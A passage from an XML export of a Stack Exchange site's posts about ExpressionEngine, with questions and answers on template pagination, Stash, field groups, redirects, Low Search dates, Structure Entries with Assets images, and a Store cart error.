href=&quot;{page_url}/&quot;&amp;gt;&#xA;                        Prev&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    {if:elseif freebie_3 &amp;gt; rows_per_page} &#xA;                        &amp;lt;a href=&quot;{page_url}/{exp:simple_math calculate='{freebie_3}-{rows_per_page}'}&quot;&amp;gt;&#xA;                        Prev&#xA;                        &amp;lt;/a&amp;gt;   &#xA;                    {/if}&#xA;&#xA;                    {if &quot;{gallery_image:total_rows}&quot; &amp;gt; &quot;{exp:simple_math calculate='{freebie_3}+{rows_per_page}'}&quot;}&#xA;                        &amp;lt;a href=&quot;{page_url}/{if freebie_3}{exp:simple_math calculate='{freebie_3}+{rows_per_page}'}{if:else}{rows_per_page}{/if}&quot;&amp;gt;&#xA;                        Next&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    {/if}&#xA;                    {/if}&#xA;                {/exp:channel:entries}     &#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- End mainContent --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because my gallery was located at www.mysite.com/development/nails/gallery-test/ I had to change some of the {segment_x}/{freebie_x} tags back one, so from {segment_4}/{freebie_4} to {segment_3}/{freebie_3}, previously the code was looking at the wrong url segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this explanation saves anyone else from running into this issue with Structure and Matrix image galleries with pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again to Lisa Wess for all her help!&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2013-02-04T21:34:36.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5828" PostTypeId="1" CreationDate="2013-02-04T21:38:42.350" Score="0" ViewCount="122" Body="&lt;p&gt;I've been hacking at this for a good portion of my day, and I'm at a rather sturdy brick wall right now. Feels like the answer should be fairly obvious, but after trying every possible combination of settings, I'm thoroughly stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Backstory, not entirely relevant, perhaps: In a parent entry, I have a matrix, and in that matrix, I have a playa field. Additionally, I have a field (a single select dropdown) whose value I want to use in a conditional while looping through a matrix in the child entry. Have I lose anyone yet?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the stash item will show up while working in the parent entry's fields just fine but if I use &lt;code&gt;{exp:stash:get}&lt;/code&gt; in the child entry, nothing shows up. The exception to this, however, is if the stash item is hardcoded. I found this out while seeing if it was even crossing over at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried all sorts of combinations of settings, starting out very deliberately then moving on to smashing my keyboard hoping for the right combination of parameters while desperately searching my desk for bourbon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed, at least, using &lt;code&gt;parse_tags='yes'&lt;/code&gt; would mean the contents of the Stash item were, essentially, hardcoded, no longer dependent on the rest of the template to work. Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If I need to include code, I can, but it didn't seem entirely relevant.)&lt;/p&gt;&#xA;" OwnerUserId="673" LastActivityDate="2013-02-04T21:38:42.350" Title="Stash parsing? Trying to compare a field from parent entry to field in child entry (Matrix + Playa)" Tags="|matrix|playa|stash|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5829" PostTypeId="2" ParentId="4894" CreationDate="2013-02-04T21:44:08.223" Score="1" Body="&lt;p&gt;Just a final follow-up - this has been fixed in the latest versions of Assets.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-04T21:44:08.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5830" PostTypeId="1" AcceptedAnswerId="5832" CreationDate="2013-02-04T22:01:38.453" Score="2" ViewCount="653" Body="&lt;p&gt;I've just (finally) upgraded from EE1.x to EE2.5.5. (I was able to use Importer and Matrix to recreate my photo galleries with enough functionality to maintain them as a &quot;legacy&quot; gallery. If you are interested in what I did, let me know.) But I digress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now want to take advantage of many of the new cool 3rd party field types like Wygwam, Channel Images, Polls, Tags, and others. (And, I'd like to remove field types that I no longer use such as embeds for videos and a second Summary field.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is about the best to do this. And, really &quot;how does it work&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen from an existing post that it is okay to simply convert existing text fields to Wygwam fields, so I get that and it makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens if I get rid of a field? Will that contents still be in the data base? Can I keep the code to display that field in place in my template and use a conditional to render it only if it exists (even though it is no longer a valid &quot;input&quot; field)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I create a second field group that contains my new ideal setup and associate my channel with it, all the old entries will still render, again if I have the old field name in my template. Actually, I've tried this and it seems to work, I just had to use new unique names for each field and then use a conditional to print whichever one has content. This works, I just want to be sure my assumptions behind &quot;why&quot; are correct. So, comments on these &quot;rules&quot; are welcomed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can associate an existing field with a new field type. (But, I assume this is only for like types: text to text, for example. What happens if I try to convert an old text field to Matrix, for example?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I delete a field from my publish form, the data is still there and associated with the &quot;old&quot; field name? Can I now re-use that field name? (Haven't tried this till I understand what will happen.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I can change the field group for a channel to a new group, but the fields must be uniquely named (can't have same name as old fields) and I need to update my templates to reflect this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think that's enough to let me know how this works. If it does work okay, then I'll need to figure out how to display search results from old and new fields, and some stuff like that. (Excerpt won't work across both field groups, I assume.) What other &quot;gotchas&quot; are there?&lt;/p&gt;&#xA;" OwnerUserId="881" LastActivityDate="2013-02-05T02:16:43.893" Title="Changing Field Groups for existing channel" Tags="|custom-fields|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5831" PostTypeId="1" CreationDate="2013-02-04T22:38:26.610" Score="2" ViewCount="301" Body="&lt;p&gt;I'm sure this one is going to be pretty simple - but I'm banging my head against the wall here. It's been a while since I've worked on a 1.x build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a client site which was just migrated to a new server. Following the migration, the homepage template loads correctly, the CP loads correctly. However, all subsequent page loads on the forward facing site redirect to the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .htaccess file (removing index.php) is unchanged. I even had this site up on the SAME hosting environment temporarily as staging.clientname.com where everything worked perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as soon as I point the document root of the main domain to the document root of site (which was also in there as staging.clientname.com) the internal templates redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming this is an obvious config that I am just forgetting about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much for your help,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michael&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2013-02-05T17:37:41.090" Title="ExpressionEngine 1.x - All pages redirecting to homepage" Tags="|templates|redirects|1.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5832" PostTypeId="2" ParentId="5830" CreationDate="2013-02-04T22:41:41.257" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What happens if I get rid of a field? Will that contents still be in&#xA;  the data base?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, if you delete a field from a field group the data is gone.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I keep the code to display that field in place in my template and&#xA;  use a conditional to render it only if it exists (even though it is no&#xA;  longer a valid &quot;input&quot; field)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It shouldn't cause any issues as long as it is wrapped in a simple conditional. For example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if some_non_existent_field}{some_non_existent_field}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...is not rendered even though this isn't an existing field. But without the conditional you'll just see &lt;code&gt;{some_non_existent_field}&lt;/code&gt; unparsed in the rendered template.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can associate an existing field with a new field type. (But, I&#xA;  assume this is only for like types: text to text, for example. What&#xA;  happens if I try to convert an old text field to Matrix, for example?)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It mostly seems to work just when converting text-type fields, or fields that store data in the same way, but there are exceptions. For example it works fine converting the native File fieldtype to Assets (haven't tested with the latest version, though). And I believe there are other special fieldtypes that have a built-in conversion utility for specific, similar fieldtypes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my test converting Textarea to Matrix the data was not immediately lost, but it was no longer shown in the template using the old tag. And the first time the entry was re-saved the data was gone (emptied or replaced by Matrix data). If you're unsure what the results would be just make a database backup and experiment, checking the result in the exp_channel_data table.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I delete a field from my publish form, the data is still there and associated with the &quot;old&quot; field name? Can I now re-use that field name? (Haven't tried this till I understand what will happen.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do you mean if you delete it from a &lt;em&gt;field group&lt;/em&gt;? If you do this the data is gone (the field is deleted from the exp_channel_data table along with the data). You could immediately create a new field with the same name as the deleted field if you wanted to. If instead you mean hide a field in the publish form using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish_page_layouts.html&quot; rel=&quot;nofollow&quot;&gt;Publish Layouts&lt;/a&gt;, nothing is lost or changed other than the field's visibility.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I can change the field group for a channel to a new group, but the fields must be uniquely named (can't have same name as old fields) and I need to update my templates to reflect this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Right. Every field must have a unique short name. And you'll have to update your templates.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;One approach to moving forward with new fields while keeping legacy data intact is just to create new, parallel fields using any new fieldtypes you want to take advantage of. Then relabel your old fields (relabel, not rename) as &quot;Legacy&quot; and ignore them when you publish new entries. In your templates output content using conditionals based on the presence of data in the legacy fields or based on the date you switched over.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-05T02:16:43.893" LastActivityDate="2013-02-05T02:16:43.893" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5833" PostTypeId="2" ParentId="5831" CreationDate="2013-02-04T22:56:27.440" Score="2" Body="&lt;p&gt;Michael -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you enabled 'Force Query Strings' in Admin &gt; System Preferences &gt; Output and Debugging Preferences (this is from memory, sorry if the breadcrumb is a bit off).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that you just need to have a question mark after index.php - you can remove it with .htaccess, but that is the most common cause here and usually happens on installations where PHP is run as CGI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system preference above will add the question mark to all EE generated URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-04T22:56:27.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5834" PostTypeId="1" AcceptedAnswerId="5853" CreationDate="2013-02-04T22:58:08.107" Score="1" ViewCount="274" Body="&lt;p&gt;I'm trying to set up a search form that searches several things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;name&lt;/li&gt;&#xA;&lt;li&gt;date&lt;/li&gt;&#xA;&lt;li&gt;location&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The site in question is a funeral home, and we want to set up a search where people can search by the name of the deceased, the location of the funeral, or the date of death. The name and location search work great, but I get no results when I search by date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set it up so that the date that gets sent to the Low Search module is formatted as &lt;code&gt;YYYY-MM-DD&lt;/code&gt;, but that doesn't seem to matter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your talk about range would apply here, but I only want to search for a single date, not a range of dates. In any case, I did try &lt;code&gt;range-from&lt;/code&gt; (as you see below) and a hidden input for &lt;code&gt;range-to&lt;/code&gt; with the same value. That didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously, I didn't use a range at all, and Low Search would return every all results (over 8500 of them!).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;My Code&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;obits|obits_archive&quot; form_class=&quot;obit-search&quot; query=&quot;&quot; result_page=&quot;obit/results&quot; secure=&quot;no&quot;}&#xA;  &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Name&amp;lt;br/&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; /&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;label for=&quot;date-pick&quot;&amp;gt;Date of Death&amp;lt;br/&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;range-from:ob_dod&quot; id=&quot;date-pick&quot; value=&quot;&quot; /&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; style=&quot;display:none&quot; name=&quot;range-to:ob_dod&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;CCG Location&amp;lt;br/&amp;gt;&#xA;    &amp;lt;select name=&quot;child:ob_location[]&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;&quot;&amp;gt;All Locations&amp;lt;/option&amp;gt;&#xA;      {exp:channel:entries channel=&quot;locations&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;      &amp;lt;option value=&quot;{entry_id}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;      {/exp:channel:entries}&#xA;      &amp;lt;/select&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Search&quot; id=&quot;submit&quot; class=&quot;button&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;/dl&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Other Info&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You'll almost certainly want to know that the date is not using EE's date fieldtype, but, rather, &lt;a href=&quot;http://devot-ee.com/add-ons/dropdate&quot; rel=&quot;nofollow&quot;&gt;Stephen Lewis's Dropdate&lt;/a&gt;. Dates are stored as a UNIX timestamp.&lt;/p&gt;&#xA;" OwnerUserId="221" LastEditorUserId="221" LastEditDate="2013-02-05T01:12:18.540" LastActivityDate="2013-02-05T11:05:17.447" Title="Low Search for a specific custom date" Tags="|low-search|date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5835" PostTypeId="1" AcceptedAnswerId="5841" CreationDate="2013-02-04T23:55:59.250" Score="0" ViewCount="425" Body="&lt;p&gt;I am using Structure (v3.3.8), Assets (v2.0.5), Structure Entries (v1.2.8), and CE Image (v2.4.1). For the major section pages of my site (top-level navigation), I would like to output on the page a section-specific navigation which includes a &quot;page image&quot; (custom field), &quot;page intro&quot;, title, and link. Everything is working fine except for the images, and I'm not sure if it's a Structure Entries problem or an Assets problem (or a CE Image problem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure_entries depth=&quot;1&quot; parent=&quot;{embed:my_parent_id}&quot;}&#xA;&amp;lt;div class=&quot;column one-third&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;pic&quot;&amp;gt;&#xA;&#xA;        {page_image}&#xA;            &amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;&#xA;                {exp:ce_img:pair src=&quot;{page_image}&quot; width=&quot;420&quot; height=&quot;279&quot; crop=&quot;yes&quot;}&#xA;                    &amp;lt;img src=&quot;{made}&quot; alt=&quot;{page_image:title}{if &#xA;                    page_image:author} - Photo by {page_image:author}{/if}&quot; /&amp;gt;&#xA;                {/exp:ce_img:pair}&#xA;                &amp;lt;div class=&quot;img_overlay_zoom&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        {/page_image}&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;{page_intro}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{switch='||&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;'}&#xA;{/exp:structure_entries}                &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the calling page, I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/_section_navigation_images&quot; my_parent_id=&quot;{structure:page:entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The embed is working fine (the correct section is being displayed), but the images aren't showing up. This is the HTML code that is generated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;column one-third&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;pic&quot;&amp;gt;&#xA;        {page_image}&#xA;            &amp;lt;a href=&quot;/mysite/index.php/get-involved/donate&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;img_overlay_zoom&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        {/page_image}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/mysite/index.php/get-involved/donate&quot;&amp;gt;Donate&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;Donate to our organization and help ...&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{page_image}&lt;/code&gt; tags are not being parsed, and the image isn't being output at all. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Debugger Output (Excerpt)&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(26.607746 / 30.22MB)      Tag: {exp:structure_entries depth=&quot;1&quot; parent=&quot;65&quot;}&#xA;(26.608122 / 30.22MB)      Closing Tag Found&#xA;(26.608356 / 30.22MB)      Processing Tags&#xA;(26.608584 / 30.22MB)      Plugin Tag: Structure_entries/&#xA;(26.608702 / 30.22MB)      Including Files for Plugins and Modules&#xA;(26.608801 / 30.22MB)      Files for Plugins and Modules All Included&#xA;(26.608893 / 30.22MB)      Beginning Final Tag Data Processing&#xA;(26.609005 / 30.22MB)      Calling Class/Method: Structure_entries/&#xA;(26.609129 / 30.22MB)      Nested Plugins in Tag, Parsing Outward First&#xA;(26.609618 / 30.24MB) Tag: {exp:ce_img:pair src=&quot;{page_image}&quot; width=&quot;420&quot; height=&quot;279&quot; crop=&quot;yes&quot; filter=&quot;auto_sharpen&quot;}&#xA;(26.610344 / 30.24MB) Closing Tag Found&#xA;(26.610655 / 30.24MB) Plugin Tag: Ce_img/pair&#xA;(26.610761 / 30.24MB) Including Files for Plugins and Modules&#xA;(26.610847 / 30.24MB) Files for Plugins and Modules All Included&#xA;(26.610974 / 30.24MB) Beginning Final Tag Data Processing&#xA;(26.611076 / 30.24MB) Calling Class/Method: Ce_img/pair&#xA;(26.611854 / 30.24MB) -&amp;gt; Class Called: Ce_img&#xA;(26.612009 / 30.25MB) -&amp;gt; Method Called: pair&#xA;(26.621115 / 30.26MB)   ***  CE Image debug: Base path: 'C:/Users/Amy/Dropbox/www/'&#xA;(26.621214 / 30.26MB)   ***  CE Image debug: Source image: '{page_image}', Fallback image: ''&#xA;(26.621292 / 30.26MB)   ***  CE Image debug: Source image is not readable or does not exist: '{page_image}'.&#xA;(26.621367 / 30.26MB)   ***  CE Image debug: Fallback source image is not readable or does not exist: ''.&#xA;(26.621515 / 30.27MB) Returning No Results Content&#xA;(26.621909 / 30.25MB) -&amp;gt; Data Returned&#xA;(26.623894 / 30.23MB)       -&amp;gt; Class Called: Structure_entries&#xA;(26.909353 / 30.25MB)      structure_entries: Starting main loop through entries. Total rows from DB=32&#xA;(27.371411 / 30.31MB)      structure_entries: tagdata= &amp;lt;div class=&quot;column one-third&quot;&amp;gt; &amp;lt;div class=&quot;pic&quot;&amp;gt; {page_image} &amp;lt;a href=&quot;{page_uri}&quot;&amp;gt; &amp;lt;div class=&quot;img_overlay_zoom&quot;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/a&amp;gt; {/page_image} &amp;lt;/div&amp;gt; &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt; &amp;lt;p&amp;gt;{page_intro}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; {switch='||&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;'}&#xA;(27.371651 / 30.31MB)      structure_entries: ID=72 url=/ee-mjv/index.php/get-involved/donate&#xA;(27.377516 / 30.32MB)      structure_entries: tagdata= &amp;lt;div class=&quot;column one-third&quot;&amp;gt; &amp;lt;div class=&quot;pic&quot;&amp;gt; {page_image} &amp;lt;a href=&quot;{page_uri}&quot;&amp;gt; &amp;lt;div class=&quot;img_overlay_zoom&quot;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/a&amp;gt; {/page_image} &amp;lt;/div&amp;gt; &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt; &amp;lt;p&amp;gt;{page_intro}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; {switch='||&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I strip off the CE Image tags and just output the &lt;code&gt;{page_image}&lt;/code&gt; it gives the filename. If I change it to &lt;code&gt;{page_image:url}&lt;/code&gt;, it does not parse at all.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Updated Code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm updating my code based on @Aaron's comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:structure_entries depth=&quot;1&quot; parent=&quot;{embed:my_parent_id}&quot; parse=&quot;inward&quot;}&#xA;&amp;lt;div class=&quot;column one-third&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;pic&quot;&amp;gt;&#xA;        {page_image}&#xA;            &amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;&#xA;                {exp:ce_img:pair src=&quot;{url}&quot; width=&quot;420&quot; height=&quot;279&quot; crop=&quot;yes&quot; filter=&quot;auto_sharpen&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}{if author} - Photo by {author}{/if}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;                &amp;lt;div class=&quot;img_overlay_zoom&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        {/page_image}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;{page_intro}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{switch='||&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;'}&#xA;{/exp:structure_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Assets field (page_image) is still not being treated like a tag pair as it should. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate any help you can offer! Thanks.&lt;/p&gt;&#xA;" OwnerUserId="496" LastEditorUserId="496" LastEditDate="2013-02-05T01:40:51.023" LastActivityDate="2013-02-05T03:29:41.397" Title="Section Navigation with Images Using Structure Entries, Assets, Structure" Tags="|assets|structure|ce-image|navigation|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5836" PostTypeId="2" ParentId="5645" CreationDate="2013-02-05T00:07:50.330" Score="2" Body="&lt;p&gt;Due to the underwhelming response, I was forced to dig deeper and finally found the template I was looking for. It is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;form_submission / submission_form&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-02-05T00:07:50.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5837" PostTypeId="2" ParentId="5823" CreationDate="2013-02-05T00:19:35.847" Score="0" Body="&lt;p&gt;You should be able to do the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search search:on_sale=&quot;yes&quot; search:in_stock=&quot;yes&quot;}&#xA;    &amp;lt;!-- channel entry details --&amp;gt;&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to only show products that are On Sale and In Stock as referenced in the docs &lt;a href=&quot;https://exp-resso.com/docs/store/search_tag.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The search tag would probably be better then writing your own query as it extends the channel entries tag so you would be able to use any of your custom fields also.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-02-05T00:19:35.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5838" PostTypeId="1" AcceptedAnswerId="5846" CreationDate="2013-02-05T00:31:28.933" Score="1" ViewCount="90" Body="&lt;p&gt;Getting a PHP error in Expresso Store if 35 products or more are in the cart.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: unserialize()[function.unserialize]: Error at offset 49148 of 49151 bytes&#xA;Filename: libraries/store_cart.php&#xA;Line Number: 900&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this would happen? Tried recreating the issue and on the second time, the cart just empties when I add a 36th product.&lt;/p&gt;&#xA;" OwnerUserId="227" LastActivityDate="2013-02-05T06:09:02.900" Title="Expresso Store: Large quantity of items in cart gives PHP error" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5839" PostTypeId="2" ParentId="5835" CreationDate="2013-02-05T00:32:23.197" Score="1" Body="&lt;p&gt;Since the Structure Entries add-on is a plugin, you'll need to add &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to the opening tag. That way, the plugin will parse its own variables before trying to parse the {exp:...} tags inside its tagdata (the text between the opening and closing {exp:}{/exp:} tags). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules and plugins behave in almost the same way, except for their default parse order. One advantage of plugins, is that you get to choose the order. By default, they wait until all the content inside them is parse by the EE parser before sending the tagdata to the parser. Modules, on the other hand, automatically parse inward.&lt;/p&gt;&#xA;" OwnerUserId="936" LastEditorUserId="936" LastEditDate="2013-02-05T00:50:07.507" LastActivityDate="2013-02-05T00:50:07.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5840" PostTypeId="2" ParentId="5835" CreationDate="2013-02-05T00:45:31.973" Score="3" Body="&lt;p&gt;I also just just noticed that you are using &lt;code&gt;{page_image}...{/page_image}&lt;/code&gt; as a variable pair, and also using a single variable &lt;code&gt;{page_image}&lt;/code&gt; inside that loop (that you are passing into the CE Image src= parameter). I think that's probably a typo, right? Shouldn't the single variable be &lt;code&gt;{url}&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2013-02-05T00:45:31.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
